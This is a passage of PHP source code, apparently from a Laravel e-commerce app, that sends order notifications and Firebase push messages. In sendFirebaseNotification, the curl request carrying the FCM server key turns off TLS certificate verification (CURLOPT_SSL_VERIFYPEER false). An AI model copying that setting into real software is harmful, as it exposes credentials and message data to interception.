get_setting('google_firebase') == 1 && $order->user->device_token != null) { $request->device_token = $order->user->device_token; $request->title = "Order placed !"; $request->text = "An order {$order->code} has been placed"; $request->type = "order"; $request->id = $order->id; $request->user_id = $order->user->id; self::sendFirebaseNotification($request); } } public static function sendNotification($order, $order_status) { $adminId = get_admin()->id; $userIds = array($order->user->id, $order->seller_id); if ($order->seller_id != $adminId) { array_push($userIds, $adminId); } $users = User::findMany($userIds); $order_notification = array(); $order_notification['order_id'] = $order->id; $order_notification['order_code'] = $order->code; $order_notification['user_id'] = $order->user_id; $order_notification['seller_id'] = $order->seller_id; $order_notification['status'] = $order_status; foreach($users as $user){ $notificationType = get_notification_type('order_'.$order_status.'_'.$user->user_type, 'type'); if($notificationType != null && $notificationType->status == 1){ $order_notification['notification_type_id'] = $notificationType->id; Notification::send($user, new OrderNotification($order_notification)); } } } public static function sendFirebaseNotification($req) { $url = 'https://fcm.googleapis.com/fcm/send'; $fields = array ( 'to' => $req->device_token, 'notification' => [ 'body' => $req->text, 'title' => $req->title, 'sound' => 'default' /*Default sound*/ ], 'data' => [ 'item_type' => $req->type, 'item_type_id' => $req->id, 'click_action' => 'FLUTTER_NOTIFICATION_CLICK' ] ); //$fields = json_encode($arrayToSend); $headers = array( 'Authorization: key=' . env('FCM_SERVER_KEY'), 'Content-Type: application/json' ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields)); $result = curl_exec($ch); curl_close($ch); $firebase_notification = new FirebaseNotification; $firebase_notification->title = $req->title; $firebase_notification->text = $req->text; $firebase_notification->item_type = $req->type; $firebase_notification->item_type_id = $req->id; $firebase_notification->receiver_id = $req->user_id; $firebase_notification->save(); } } NagadUtility.php000064400000012173152427531060007664 0ustar00